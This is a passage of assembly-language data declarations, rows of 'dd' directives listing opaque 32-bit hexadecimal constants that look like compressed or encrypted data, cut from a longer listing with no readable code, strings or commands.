9B0F936Dh, 0C3AC4737h, 67F2508Eh, 0A8BE0A0Bh dd 43B211AFh, 0C19C98FDh, 0BF5FE548h, 2D27EF8Ah, 73404007h dd 65C50405h, 1623068Ch, 78615B08h, 0E07C6346h, 62410E02h dd 3F5A51C9h, 8C93B547h, 0DBA436CEh, 83377071h, 8E049CE8h dd 161A0858h, 8A4F0714h, 1061862Ch, 0C7AAAA1Eh, 0A3B96495h dd 7C546F97h, 16488CA3h, 5C898287h, 52B0D2C9h, 0FDD08550h dd 6EEF5916h, 0F4DE5F17h, 7B619469h, 53820555h, 407F3092h dd 3CD79C53h, 0EBCB7B78h, 16BF7DB3h, 98FD7A10h, 550BA48Dh dd 93C72F2Ah, 9797F177h, 0C2FBC2E9h, 0EE1829FEh, 4D7019F4h dd 814F6974h, 19444DF1h, 5713CD49h, 0BD6FCD66h, 0DC582C26h dd 0CBFDB5F9h, 3FEED06h, 760E59C8h, 0ACB42F31h, 0A888765Ah dd 171C438Dh, 7BF0BEACh, 1FD6C2A3h, 0B773F937h, 5CED87BAh dd 6153B139h, 3071B9B0h, 0CE3DD221h, 38C6526Eh, 3DD4E386h dd 0CE1506B8h, 0C0D3642Ch, 0B7B6B5CCh, 4A563636h, 0B79A7028h dd 56E10C38h, 832929E2h, 0B59FDFEh, 3C839BF0h, 3B3A82Eh dd 47BF6E7Bh, 0EB8227DEh, 36982D73h, 4072DBFFh, 9DF16B5h dd 0E96C8746h, 0BAF8A0A8h, 0D22384EEh, 71F1DD2Dh, 1B2EC88Bh dd 5DD377B5h, 28892235h, 35DE7207h, 32E71F63h, 7F6CE0A5h dd 0C0A072CCh, 291A47C8h, 4E8FF6D6h, 95D6539Bh, 8D308281h dd 0CAA7DC85h, 0A536FBBEh, 0AE45A99Bh, 61171B44h, 0B47357A4h dd 0C5326431h, 0FA4BCFDDh, 0FA7884B1h, 2A4BAEB1h, 0BB3B5BD7h dd 4F01BBC6h, 5603D127h, 8B6EFCDDh, 0AFCF4A70h, 4C403BE8h dd 1A2D009Bh, 0B1CC282Ch, 0C35E8523h, 5F6193CAh, 7C471A4Bh dd 88A6785Dh, 1E8BF516h, 0C75573B2h, 4F724E0Ah, 0EA3DE9D7h dd 0ABCE5F32h, 0E4E000EDh, 0A76D4FCAh, 7860614Bh, 8BB5DA66h dd 0AE92C56Fh, 0BECB9863h, 73BCF9CCh, 0E42F9414h, 0B8CF015Fh dd 2679A1E2h, 1D38C339h, 57462C92h, 0DD27E1A7h, 1DC51636h dd 0F1D6F845h, 3E34860Bh, 274862AAh, 3B4012A2h, 3CFC466Bh dd 82166F4Dh, 0B4400AC8h, 1D556BDh, 0D1E746FEh, 3FAD3147h dd 4F825898h, 2DD96A5Eh, 0EA1A8BC7h, 0FB77ED2h, 5E55DA81h dd 30D2EEA3h, 3EE9F131h, 15467Ah, 6E5E6D61h, 786904CEh dd 0A236FC49h, 85FD65E1h, 0EB8206F2h, 0E3B0E487h, 38EE6410h dd 72BC36F8h, 59D21861h, 586EFC20h, 4AB445BEh, 8E9DB339h dd 91C0DC80h, 0B917F9E5h, 361D4F5Bh, 8B20F652h, 0F12B442Ah dd 513ECDE5h, 0D86E72C1h, 0AC68BBE6h, 0B4537078h, 0D110949Dh dd 9F6C0CD2h, 0DCDAB455h, 0BE463DEEh, 2603D19Ch, 48A37EB8h dd 1BF1EEFFh, 2ED7BD37h, 175E465Bh, 0C25AE5AEh, 1FBA2221h dd 0C4DB12E7h, 4D674A97h, 932FDC1Ch, 81181FE2h, 616369B4h dd 333CA9Eh, 6E389E08h, 9DACDEC0h, 0CC9D3E2Dh, 45BA5595h dd 0C791281Ch, 1867EC67h, 150AF502h, 49E09B85h, 3EB66B14h dd 9ABD546Eh, 549F2847h, 2330C14Bh, 0D76F0CBDh, 2BE88CD5h dd 8427FD01h, 86EB9194h, 88235166h, 0C16C9689h, 0D2461734h dd 0A51DB339h, 4F96824Bh, 0A516E1F0h, 821EB33h, 24D60CA5h dd 4D9CF970h, 5F36BCB1h, 22CE8A6Fh, 0F5EA7A22h, 35269D49h dd 34F60384h, 60753CAFh, 9D12E7C3h, 2D29A606h, 0EB59D443h dd 86DF11E1h, 0D1417A97h, 0FD0C92A6h, 0EB98CBAFh, 0FCDB610Eh dd 193F917Dh, 5E378042h, 7918B3ABh, 26F60AC0h, 5C96557Bh dd 42928D0Eh, 0EA89E2FFh, 0EC6E0C34h, 0E7AAEF86h, 0E94E36F1h dd 0A5CE31A8h, 2B99C771h, 0F25F986Dh, 0E581870Fh, 8EDBF683h dd 0E01643Dh, 0FDA9AD07h, 7507847Bh, 7E8893Ah, 0F30DD8FCh dd 0B173A60Ch, 19967D6Ch, 2314C1E6h, 9695C9F6h, 0E1028250h dd 0C383C70Ch, 1251E98Dh, 0C90C86A5h, 4B15AE22h, 0D830F3EAh dd 33140AFEh, 223098F1h, 42BC0560h, 80CA89ACh, 251778CAh dd 6834CCC2h, 0F5DC5154h, 7C86169Bh, 7C9B9BE5h, 90D44779h dd 9ABD03ACh, 4D603C9Bh, 39CD06D4h, 0F6B3B578h, 9BE76D21h dd 9C67CBB1h, 0E8F7F4Ah, 0E4AAD5AEh, 6686541Ch, 0FE682D85h dd 9F0940B2h, 0C38F7F20h, 0B4E05163h, 8AB32B3Ch, 533C1A1Dh dd 0DB35987Ah, 0F4BF7929h, 0E305474Ch, 37CF5FEEh, 2B2CEF6h dd 0D369D6DCh, 2C3885E8h, 8C33E263h, 0E97DE194h, 0AEC07549h dd 6BA47C2Ah, 31A4DF2Dh, 824E2DA5h, 661F37A3h, 20458453h dd 9ED7CE76h, 7441813Ch, 122F030Fh, 42AD6F02h, 0DF5ADC25h dd 7507AA0Ah, 0EC465AF3h, 435ADA6Dh, 657F1ADDh, 733762D7h dd 0D6680D3h, 0CEEE75EFh, 76D38C47h, 3091D2DCh, 0C080D3FBh dd 4C49F87Eh, 0E20313D3h, 771E8A18h, 0F80822Bh, 0AAEC2EBCh dd 0DDCF678Ah, 7A0027AAh, 560C6568h, 0B769FE56h, 9679A6Ch dd 9D20E0B3h, 0CD9BB1F8h dd 7F3F1E12h, 0D3581BE6h, 0AC6B82D8h, 0BE01EA2Bh, 45EE97F9h dd 0B2879617h, 8CEB6D35h, 6D6CE53Dh, 0B2CCCBB6h, 2FFD2AB5h dd 112CC566h, 3B368F6Eh, 75866798h, 0CFE6BDC9h, 0B5FCB81Dh dd 89FD0C53h, 0AC326B26h, 942BDF68h, 0FFA75763h, 0E9F972D3h dd 446B9CCAh, 9B400652h, 8E148BF9h, 1A59C36Ch, 0B4F3986Ch dd 0AD3CBAE8h, 79EE5E09h, 1B98F363h, 9BDAC853h, 0B3FE08B8h dd 0D79F82A3h, 33C096CBh, 0CEE8D87Dh, 7118FB36h, 0E875D3BCh dd 0D8ABDAD4h, 0C2DB7F0Dh, 0F86E222Ch, 64907E1Eh, 3CADC144h dd 0EC92BB37h, 5170F5EFh, 0C086DB2Bh, 0E545B659h, 3AA76F96h dd 63EB9306h, 24825B74h, 213D43E6h, 147D4BE1h, 73660176h dd 36143785h, 25A7B5FBh, 0E44A2A8Dh, 0B60FFCC9h, 0B8D8DBF7h dd 0A2CF8F9Fh, 220035F0h, 0A4A7AB70h, 19B5B41Bh, 0E886D39Ch dd 0C1ED5646h, 0A0C8D5F5h, 53A8DDD9h, 0F9DC97C6h, 0CA6A0AD1h dd 0A8CA4040h, 95B98C80h, 0E0E4E877h, 0C94E19BAh, 328BCCB6h dd 5D49D99h, 0B6312C0Bh, 0BE64BFD6h, 39409F9Ch, 4BF13783h dd 8DB7D35Ch, 32C42FE6h, 9FB5B6A2h, 49F9B0D3h, 9AB891F8h dd 0D0030045h, 1A0D5718h, 906F22A2h, 1A73437Fh, 6D1929CAh dd 0DCEEF3BCh, 5E39F3EDh, 0A7ED65CCh, 38BB07BEh, 0A94864E9h dd 0B3873FB7h, 7CC8125Eh, 55DCC602h, 28DD0107h, 7DC572B0h dd 42D0B9E6h, 3FA24A4Bh, 0D80D195Dh, 7DF8DC49h, 16DD330Eh dd 0FBA10A5Ah, 3E8230D6h, 0DECBE007h, 8F7EE56Ch, 0F374378Dh dd 0B80A8B8Ch, 6F3C8467h, 396D07C2h, 0D156ED7Dh, 88CA01DEh dd 0BDEF68C3h, 4F5FFCFCh, 0C56201A7h, 17235643h, 0A725FCBEh dd 4A714E25h, 0B7536853h, 8CF06E19h, 55D689DAh, 0DBD44926h dd 895D3CDDh, 4FC78337h, 1769E418h, 6AB9947Ah, 52FC7B13h dd 86A8D030h, 236DDB00h, 0C78D823h, 18DD0DEAh, 38F1A87Ch dd 0F8FC2862h, 6B90575Fh, 3C1DE8C5h, 7CDEBD3Fh, 84915E65h dd 71048BC7h, 78E07247h, 0F837F5FBh, 0B5A8211Dh, 7385D0BEh dd 6FB7F161h, 21C46A7h, 6B04815Fh, 866D4915h, 964D1E15h dd 0AA49F687h, 0FF495C62h, 0BEB8F8C1h, 7A096612h, 0A4AEF088h dd 221B0EEBh, 8DABADBCh, 0C2A6E5E9h, 1266088Fh, 39BE5486h dd 5C454184h, 4FAB914Fh, 9067176Ch, 3875250Bh, 1A725B8Ah dd 0FCDC4EAh, 0BCA1054Eh, 0F19EBDA7h, 4BBD6EB5h, 0A54204C9h dd 0B6E17994h, 0A4A88585h, 0D8241F79h, 0B6556742h, 0A894EA54h dd 1CE66DDFh, 4A47B33Eh, 51865FA1h, 8EC0AFD1h, 23D928FFh dd 0F3087756h, 48369F3Fh, 0AB0129FFh, 5A23F677h, 0AEB7C3CEh dd 0C1F9AF1Fh, 2D362810h, 9598A9FDh, 968869DFh, 0AC5B0D87h dd 29B2F417h, 4BB51F93h, 1235E924h, 0ADA9910Ch, 58FA14A9h dd 9F85B004h, 0D3FE524Dh, 0A2949A83h, 87542A95h, 41D30C75h dd 2BF038CFh, 569F1774h, 35E55B38h, 1096DCD0h, 3D387FA2h dd 0ED7CDE58h, 6A8BE3B1h, 5AAC40C2h, 0EC09F0E1h, 616B0FE7h dd 0CB22E8FEh, 0F395EBE0h, 104D8C40h, 90421B9Eh, 92CD98C1h dd 0B27B575h, 7011F8CDh, 1B4CC4FCh, 9301951Eh, 0EF368AA0h dd 7B3027C4h, 3FE112C2h, 72E71505h, 679D16BFh, 0C13B79B1h dd 47F00504h, 0C120FFDh, 3C6A1F17h, 0A84E1AEFh, 0CDBC3ECDh dd 300D5EA1h, 0E41969EAh, 0BBAA1262h, 0E0501076h, 0F8BAC89Dh dd 47499407h, 1983CF75h, 1D630C10h, 29F8C87Fh, 0E170FE8Bh dd 0BF2AEC4Dh, 6E9531Ah, 0A7ED4092h, 1A988805h, 0AA368747h dd 0DE7D8DFFh, 6691C6D1h, 0E45D50CBh, 0E7181CA9h, 3670F018h dd 10AA32B8h, 0B62E9BC0h, 5107F585h, 4D319BBBh, 0E4AB6B49h dd 695D1F35h, 0A61B96C0h, 0A24093CEh, 1011DE06h, 230E4CEDh dd 0CAB440B5h, 772AF9AFh, 598CFBF8h, 6E9AF2Eh, 31EE284Eh dd 0F6EDB3AAh, 0E70BE5FAh, 0ADA29DCFh, 0ADC7ABD8h, 5405F3Dh dd 980E4745h, 70106F47h, 0DC9C2DB5h, 0C2049BDBh, 7D4BD512h dd 0A9A11Fh, 2035172Ch, 8E21C0B0h, 0B7ECCA99h, 6FC515FEh dd 5CD4989Ch, 3B78F53Fh, 752B4FE1h, 39A43930h, 0A2770977h dd 258298D7h, 0D67FD5D9h, 0DB067C47h, 2150286Dh, 1198725Ah dd 97F06F26h, 0C595E1BAh, 6F165DE6h, 8FB02756h, 0A106C27Fh dd 0D924D7E8h, 595E1B3Eh, 72508DCFh, 0FF6A538Fh, 93C71498h dd 72A05DAAh, 1AC53207h, 810760D8h, 0F77A056Bh, 0B2FC0147h dd 4FC905Eh, 0E9FBCA3Dh, 1DDA25B9h, 0B6C4C5E3h, 0B2107336h dd 2FA1FCFh, 0A033E81Bh, 0DA74A930h, 485A5516h, 2BE001EBh dd 21C0EAB9h, 5AE965D3h, 46D806D9h, 33767520h, 9AFF8736h dd 645DEF7Eh, 47A4F97Bh, 79EA39DEh, 0B4617D67h, 564F62E4h dd 64CF3460h, 0ED86EB8Bh, 0B763242Eh, 5970F07Bh, 0FFBB59B9h dd 0A8B4718Dh, 16BD4968h, 0E98DE9B2h, 0C73D3AFDh, 49187D5Ch dd 495434Dh, 10ABF6C2h, 87EA720Dh, 0C68A12BDh, 18BB0FFDh dd 269D183Dh, 9C1900EDh, 0F0D8515Ah, 305C0F5h, 76AB536Fh dd 906AB1D4h, 0DDF18BA8h, 262B0A6h, 0F59AE4E4h, 0BBD5E8Eh dd 80B458B2h, 0A2FD2076h, 0B7A124E3h, 0C79333FAh, 0DE0E85DBh dd 0DE3DEF3Eh, 55CDA7E6h, 293901EDh, 69138A43h, 0F68A3E7Eh dd 8D66284Bh, 0B71D4E63h, 0BB03D152h, 69AB7CBAh, 0CA785F99h dd 91018A48h, 0C540091Eh, 0A8312D89h, 2D4FF962h, 0B017F571h dd 0FA7858B1h, 8603E62Fh, 23966794h, 0B8BC957h, 0AE0B552Bh dd 0E0D15C8Eh, 0D4B83B2Eh, 0AF908BA3h, 0C418EEFh, 2970566Ah dd 3D0E65A8h, 0F9D4F40Eh, 3FDD2D72h, 52BB17DCh, 28C72165h dd 0FC93F353h, 471F2F08h, 3860684Ah, 0A2CBDB2Ah, 4F890BFCh dd 0A0E09028h, 0D2BF4466h, 1DF4C2DFh, 9386B2A8h, 10055B34h dd 895989E5h, 0D31BB86Dh, 4CF0B842h, 0AD94565Fh, 83A44572h dd 1671F35Ah, 4426274h, 97962624h, 731C1F76h, 24F70A63h dd 7C0B379Fh, 9E8DC700h, 0FDD468C6h, 53719F8h, 9CDDCF9Fh dd 22B44D0Bh, 38233FA9h, 8FB0047Ah, 3D30090Ah, 0DEC4A9BBh dd 9169F8A8h, 76ACF5Ch, 57922C80h, 3F988AB7h, 0C41B6F40h dd 0B4B851BDh, 146DE325h, 4BF8CF24h, 0F3418904h, 0C0DEAFF1h dd 94139D2Dh, 0E41F7A22h, 1F1492C5h, 71AAB2DCh, 0F1E063C4h dd 0FCFE63B2h, 0B59A7803h, 0D7097876h, 0CF99643Ch, 998476Eh dd 8397064Dh, 45D98216h, 1D4CF75Fh, 3B0A7716h, 91E28D1Bh dd 4FEB1C11h, 6162FAAFh, 4CB9F5FDh, 0D76D443Dh, 1A3859A9h dd 10FCECA0h, 805A00BFh, 0FD1536DEh, 4A605296h, 6ACE4195h dd 0BC51C209h, 808AA230h, 0DBF2CED6h, 25DEA862h, 8A9F6C9Ah dd 0ABD626F7h, 0C888594Ch, 25AB4ECDh, 0EF2EF0A0h, 9D5DC75Dh dd 0A30E948Eh, 200CDD95h, 0BF6C3B61h, 6871C1BFh, 0E79EF745h dd 0B6A8EC59h, 0F9B0930Dh, 0D47430F9h, 0A6B4CA08h, 0B1A2B610h dd 54B4A96h, 0CF2CCBCAh, 0B81079ECh, 0F62594C7h, 7C930A16h dd 0B694165Eh, 18326716h, 0F3655436h, 5CBDA3B2h, 0B6B80DEFh dd 7E2DCEFh, 0A34EAB97h, 0BEA1BA5Ah, 3E6D4B06h, 7EDB6F97h dd 4921DF81h, 0E34D4594h, 5B6B13BDh, 84B9AAA0h, 24B89650h dd 84FADADCh, 660B13DAh, 0DF7DF66Ah, 0B617192h, 22476BE8h dd 21CF5F03h, 0D5E52EBFh, 1DF04250h, 35DC34A0h, 0AE86A58Ah dd 6E253CD9h, 91E81061h, 864491F8h, 75C8DD08h, 0CF217661h dd 0DE556D24h, 890DC4BBh, 8E5674BEh, 6B28EE39h, 0EC81E4A4h dd 11BE6487h, 0A03AD9C8h, 2AE8CE3Ch, 88F9FB47h, 9179D23Eh dd 98305CFEh, 51403567h dd 3368E692h, 10F1356Fh, 0E0B6AE2Bh, 658AC8BAh, 7E89B420h dd 6A7504B3h, 0B0392912h, 0CE0F08FEh, 0A98E48C0h, 39DB62D3h dd 9CE53BEAh, 0A4DF6738h, 0EFCB80B5h, 0AA9CCD8Ah, 38AA0F7Ch dd 221CEB45h, 0FD6AD242h, 0E79296D1h, 6D169AA8h, 0BF54DBB1h dd 9196A143h, 0FC9467B4h, 703C6AECh, 0D608D354h, 647CC4E6h dd 5BEEA660h, 3B12C986h, 85B2E67Bh, 910CAC07h, 52C44050h dd 0E4CC34A6h, 788725B2h, 973AFFCBh, 0C52EB13Ah, 7437B1DCh dd 7093F675h, 0A28AA713h, 0B5A5E257h, 597BBFC1h, 7A93B2C2h dd 502BC53Ah, 0B0BA98B9h, 0E09F8043h, 9FF8782Fh, 25F7ABA4h dd 0E1559D6Ah, 0A1B46314h, 3416DE2Ah, 0BC2DDFD8h, 5D371BF5h dd 0A9C0C754h, 1B75DF71h, 9AE130AFh, 56D63275h, 0F7D4522Fh dd 0B3D3AA85h, 0E923A854h, 8AD326AAh, 9ECB591Ch, 0BC177DA8h dd 0A0ED5322h, 0A0854276h, 89FC6437h, 0C05F809Ch, 49209417h dd 0F8CFC103h, 34E5EB9Bh, 3E6E3918h, 0D30F326Fh, 352DD327h dd 0B78F0C8Eh, 840352DAh, 228D6F7Dh, 449C4B49h, 5251C695h dd 0A9A3E2A4h, 1C869F9Bh, 19FD36CFh, 89D182C3h, 11ABD1BDh dd 86E5EAh, 15B81FE4h, 0A888A2C3h, 9FF4E6AAh, 0DBA5D5ABh dd 10DFE71Eh, 6BD4D742h, 27633C32h, 0BA2CEA18h, 829384F1h dd 0C99FC1B5h, 0FD8ADB15h, 881A050Fh, 3DA3AE79h, 0C0C1D0C5h dd 4E588D49h, 0F0A86B08h, 0D17B938Fh, 0B63CFF57h, 0EA9CC751h dd 0FE7F4797h, 727D1C50h, 2A05D4F6h, 9D2D2619h, 6903E4FDh dd 0AF0131A0h, 353A804Bh, 0D25B5482h, 133C997Bh, 8FD1E709h dd 731DDCA8h, 0B9FF623Ah, 0B63C3279h, 0B8C5B944h, 0E6742E94h dd 0FA2C9F3Fh, 0BE51E231h, 46BA64DBh, 0C5F3FA83h, 691A233Dh dd 0CD25B5B8h, 1D143886h, 0F75DBABh, 0B9422E04h, 0A616FCD6h dd 169398ECh, 2968B61Ch, 130F4157h, 1E91D62Ah, 349D14BFh dd 0EECAFB8Eh, 0E7246A70h, 0E104C1ECh, 0C9958C8Dh, 0E4C5351Dh dd 9BB5DA60h, 503520C6h, 0B0C3B3h, 83B9A224h, 0F2DD3B8Ch dd 0FF95D459h, 9026896Eh, 0C7FE56F1h, 6063D8D5h, 576C5A19h dd 0BFAA039Bh, 0E20050B7h, 0B440EC4Dh, 79851F8Ch, 99899062h dd 631FA212h, 0DDAC4339h, 0FAF316F0h, 90099FDCh, 2D479416h dd 9E4DFBDAh, 0DE120912h, 0B05E05A0h, 0D8C9A71Dh, 0B91BF0BEh dd 606E2E75h, 73FF304Ch, 50ACA57h, 0A389EFEEh, 0BE06663Ch dd 68751C29h, 47489589h, 0B6D1F988h, 0A5FE0E75h, 0CA6297E0h dd 0D40005B1h, 1F7F7B72h, 872CADF4h, 0B3916D0Fh, 7B9D2428h dd 4FA1364h, 0AA684B28h, 402DFF72h, 0F8A642F8h, 14C3ACEh dd 51AC67EEh, 624B8776h, 0C8C33376h, 0F9CC7BDFh, 0A36B8FA9h dd 0A24B5AECh, 4325900Bh, 0D6D67FD4h, 24007DBCh, 0B7A3D1CAh dd 95B1A103h, 3E239B83h, 49F3FC5Eh, 44D5C8C1h, 0A7C6D91Eh dd 76642E5Ch, 3E4726ACh, 0FF98A5CDh, 0A2038F42h, 74A55A17h dd 30A5FE81h, 0C19D2FBAh, 64A740FDh, 0F3FD8EB1h, 71DDC631h dd 61CFDD20h, 2FDED441h, 211A7421h, 19A0FFDh, 0EFDF698Eh dd 455490A1h, 3A90FC10h, 0F4C8DCF3h, 8CFBA82Bh, 3AB2DE35h dd 36B91C2Fh, 0AFB41E66h, 6000D5BCh, 0CB93B0C3h, 4C323BA2h dd 8A03D504h, 97069F3Ah, 27B118FEh, 0CAE0D6EDh, 5AF8EA3Dh dd 9645DA1Ah, 0B3EEB7F9h, 4D406282h, 9F4CA60Eh, 0F421B439h dd 0F9E0B134h, 8E74B4B4h, 0BBFCA7D1h, 5F061792h, 983ED5F9h dd 33DFEBB3h, 7C275370h, 68DB0E86h, 105815C2h, 0D6E670C3h dd 0DCFCB21Bh, 71521Dh, 0C8451309h, 464E5EFDh, 9663F0Eh dd 0E9E3C2A2h, 4BBA7B7Dh, 0E73180B2h, 14960ED9h, 6B3E96CDh dd 9B810D0h, 80405E80h, 825C3A17h, 0A7202FE6h, 0C752D751h dd 4A2F1B1Ch, 0BEC5F070h, 0D9A08FD7h, 2D47852Fh, 0A45751B2h dd 2C27AD99h, 61CE437h, 7566BBD4h, 855540E3h, 279AB353h dd 0EE67C5C7h, 0DAD28D8Bh, 0AB015BEh, 8A2868F9h, 68EF94B9h dd 9C79D083h, 5D30DC44h, 25CB0AABh, 0DD6B0675h, 55DA447Dh dd 989278D8h, 0A3CC6557h, 6669EECEh, 5B332832h, 5EDB9Ch dd 8366A529h, 1C8DEEDAh, 0B81765D3h, 0D91F3B1Dh, 0E21294F8h dd 0DF5BA2B0h, 0E8A9CECBh, 4F18ED93h, 63C80B1Fh, 0A4367FD8h dd 0AE605FC6h, 0D6C2D99Ah, 46F73903h, 62F1D20Bh, 49F853D3h dd 0D380F66h, 911F8564h, 0E80C70Eh, 3F502CFBh, 0C1A3F56h dd 0FF063089h, 9EB8C4F7h, 673FADA5h, 2EA4045Eh, 0E41A9126h dd 78F5F90Ah, 0B5EC5FB4h, 0B2E9D052h, 8BBE224Bh, 36EA268Dh dd 0A77C932h, 454E2880h, 64CF2EB8h, 7F39B054h, 76FDE2AFh dd 0F41A3EEDh, 99E52DF5h, 70B74A53h, 5E34956Bh, 0C51A377Bh dd 0F0ED165h, 0EE89C1C6h, 1654EECDh, 0B729D650h, 0C55D9188h dd 0DA1B4492h, 7FDE1AEFh, 0A9AE8DC6h, 4BA56C73h, 70BC1BAh dd 8094B969h, 0E677E253h, 91AD2C98h, 2AE4E723h, 0AFF2C683h dd 7A6ED375h, 13847C60h, 0E5B0BC77h, 0C0274B3Bh, 74351CFBh dd 0E7D80C57h, 63DD7DADh, 31E785A6h, 70B97FDDh, 32EED902h dd 0EE64B912h, 3B1976D1h, 0D5E7D640h, 2C530185h, 65886F59h dd 3D0C9C9Ch, 0A4876277h, 0F62622C8h, 5D050AE4h, 61B00A3Ah dd 7B57ECE5h, 2F9EC758h, 33ADD6FFh, 4E8F5CCAh, 69E06F55h dd 0E05E45E7h, 15E71B42h, 67C79468h, 52F21680h, 83342ABFh dd 0F02AADDh, 0B09A3989h, 6426124Ah, 59EE7ED3h, 0F761292h dd 0CE6E15A5h, 7E9E97E3h, 0EDF60418h, 36418D5Bh, 3057D1A8h dd 0F8986026h, 18CDB0C2h, 0A2198BDFh, 0F9D9AC50h, 7D3F0E9Eh dd 0DC121615h, 0ECFA583Fh, 0D1652A7Ch, 0C638B5B9h, 0B3211FCDh dd 502FA78h, 0D7223592h, 0E44B39C6h, 9D987D21h, 5C11432Bh dd 2EEE87ADh, 3BC7256Bh, 0F65199A0h, 0CA9E3689h, 0AC6E4F37h dd 0A1503E18h, 7CC6738Eh, 7F4CD6B1h, 0FB0DA4D8h, 7826837Fh dd 0ED628AC1h, 26FE0DE5h, 0F600112h, 0B129C031h, 0DA46FAF8h dd 2CB62226h, 1317C5Dh, 55FE178Dh, 846B452Fh, 223C84D6h dd 0E06B91A9h, 74219916h, 97FBC9C8h, 0B2DA45B3h, 17A3E44Ah dd 0D5A6F297h, 2E4330E5h, 0C215ED5h, 0D8C61106h, 6B1DFC0Eh dd 0F3A22304h, 3C3181EBh, 0BBAB9C82h, 0E12D0340h, 0D9B95277h dd 62194590h, 0F4A07BD8h, 0D60A1B3Ch, 82FCDB91h, 0C6B0F1C1h dd 0BDF2EB09h, 0FEBE9F2Ch, 0C405BB21h, 0D6B25AF9h, 2E06D24Fh dd 258F648Fh, 40C4F18Ah, 51759403h, 9089791Fh, 97B81D67h dd 0BE9594B5h, 4C76BABBh, 0E6AE8D0Ah, 0C0565625h, 1B1473FEh dd 41DA41E2h, 0E5E9CCF6h, 7214E7B1h, 6B87EE0Bh, 0E8BF6DF3h dd 0C5C943FCh, 6CBEF769h, 531E3D9Dh, 0BE16A8B9h, 92A3F45Ah dd 302CEC95h, 5EDA6BD5h, 0C43B9DD6h, 83122642h, 227DEF3Ch dd 0ACE78564h, 0E924C890h, 0AF6AD4ACh, 0FFA50D01h, 4A0F6873h dd 3DF12FCCh, 0ED658B97h, 7E82E315h, 40308A0h, 0FD3E9BA6h dd 0FC26C84h, 9D0A2EE0h, 273C579Ch, 0F124A49Dh, 165AF107h dd 27882AB5h, 51A8BF58h, 0F5DDF3A6h, 4532C6C4h, 4C7599Ch dd 7B0A9EBEh, 2989C188h, 0EEB41C58h, 3FF6E802h, 0A8DE659Eh dd 56003F43h, 95028DC4h, 0FE71A825h, 3F5074Fh, 0C433EF7Bh dd 3500DDE8h, 7321B6FBh, 0E3DBB8E2h, 0EFA55B78h, 0BD928DFFh dd 2690A6D3h, 5AFCF7BCh, 4BD27CBEh, 146FC9ADh, 8338A2E6h dd 0A0B74E71h, 2C467F41h, 6DF5CB99h, 1E6BE308h, 0A931B454h dd 0FD5AEB5h, 0E6D52703h, 3017D840h, 0A5E69374h, 2DC07188h dd 0FB1AA929h, 2F303DFAh dd 0D811936Ch, 0B3994FABh, 0E61A6A0Bh, 0D451F4FFh, 2488F3ECh dd 396B99EAh, 35D6E8Ah, 60D1AD83h, 0AA0B3BABh, 72DB37B5h dd 7BBE08FAh, 0F62150D8h, 1E2EB602h, 0F239C6A0h, 240EC610h dd 445D01A0h, 0A76EFAD2h, 1D17F3EEh, 0F2A77440h, 26D73E08h dd 0C8BF307Ch, 5024ED0Ah, 55CFEA4Ah, 0A8046957h, 7E348560h dd 0D714BE63h, 90020961h, 0D251B3Bh, 0E7A0E937h, 666CF5D8h dd 7E9AF304h, 0FECD2A90h, 3A50DD99h, 0F03DD1D2h, 53FFE29Dh dd 57724599h, 746E0E58h, 0D9DA3D2Ch, 2BE2E875h, 0A75D2CB2h dd 335BF9AAh, 0BEEA273Dh, 81A7AB83h, 0C47D76B0h, 8936FE3Bh dd 0BFDA9F2Ch, 0CD99BA7Eh, 0C2900200h, 0F511E4A9h, 173AE486h dd 52AB99BEh, 0E0B59CFBh, 59F0ED24h, 6127301Bh, 0CE6C83C9h dd 6C6F858Ch, 0F5C480CCh, 1AE9A1D2h, 0FF004B16h, 0A1B71603h dd 0FD5570A3h, 11F3E1AFh, 75B032CBh, 0B1E2B798h, 6A110EBDh dd 5B98BE4Fh, 82D211B8h, 6022A13Ah, 2E980F44h, 61F0420Fh dd 0BCFB6158h, 0F78AD2A2h, 9D1DA229h, 6C30D326h, 827E60C2h dd 239A2787h, 7F0C82BEh, 0DC8D2E1Dh, 70EF1775h, 0E55D6A87h dd 8416ABD2h, 0AA54BE39h, 7A6EB4E0h, 0BBB6C94Ch, 97CFA841h dd 0C8F85BEDh, 403A5363h, 0D0023520h, 5E869AB5h, 545947B8h dd 363992ABh, 4FB1BD76h, 94A559ADh, 12457704h, 0D0C5C4E9h dd 26836342h, 0A98161B5h, 895554F9h, 9F50C845h, 0EB00E1Fh dd 44B0CDE2h, 0EA12EA63h, 0E4DE41Bh, 0CEDAFCE5h, 7F9E04D0h dd 0B04E637Fh, 55850D64h, 16BCB5E7h, 8CB0733Ch, 8738CBD6h dd 9F19C4BBh, 0C86989CFh, 0D3C5EE74h, 2C1759BFh, 0D3ACAFACh dd 0D92560A8h, 394775FFh, 0A906E299h, 8E544D08h, 7250FB38h dd 0DC06C9FFh, 0C8D8A4A1h, 41311A9Eh, 6752675Ah, 0A6B68662h dd 0C91A2E34h, 0C6BAA33Ah, 0DB88087Ah, 0DF32CDC0h, 0ACA463E5h dd 0F416DA8h, 0A50BD604h, 3DC7AFEh, 0CB5D0736h, 0F41D4076h dd 2067D621h, 0BAFD4F51h, 2128C687h, 8678F7D5h, 570D9920h dd 9975E40Fh, 34395FDEh, 935E7B16h, 0C20CE72Eh, 0BA8045Bh dd 6CCF14F7h, 61DF81F5h, 8C0D36EBh, 0AE145C8Bh, 0C2FB07DCh dd 0B0E54BFh, 0E3A736BEh, 680FF1BFh, 670DD5E8h, 6B93F087h dd 0EFF0FE98h, 6A42F4C0h, 525E0442h, 2A2E6A8Ah, 380C1C91h dd 45AEC5BBh, 0E9EED29Eh, 0ED3E7F74h, 6BAD2DE2h, 245FB6AEh dd 0B139149Bh, 7E63DA25h, 2833CA41h, 0CE0ACDF4h, 0B2126CAAh dd 98DBAD29h, 0BE4C2CCEh, 72F4BF0Bh, 0DB03E2F4h, 0BA0BA728h dd 0F3737AC5h, 0BB0F72A2h, 0FD14CE83h, 0DC030ED6h, 0D883E53Ah dd 6EF1D284h, 1AF18294h, 42CA0031h, 1DD16599h, 0B300D43Ch dd 5523067Fh, 455B0E9Bh, 0BF241A50h, 0FA344814h, 9A413142h dd 31427FF3h, 9273E6CCh, 0A36DBDD1h, 61563DBCh, 0B0D480EEh dd 94FE2AEFh, 6EC56AF5h, 4074E961h, 13E30287h, 313933F0h dd 27647028h, 28097D14h, 0C48827ACh, 5C6711D3h, 0EBA74221h dd 1DB5AF27h, 0E9B9FFA1h, 962E66BEh, 0C9D7327h, 1CC73843h dd 8C71AE7Bh, 0CD1E4BC3h, 71016BC7h, 0A33CAFBAh, 3F9636F7h dd 17EEB11Ah, 0E5E603F7h, 7F5CA398h, 0D5046DDCh, 0A60FAE84h dd 8A242F00h, 0EE36055Fh, 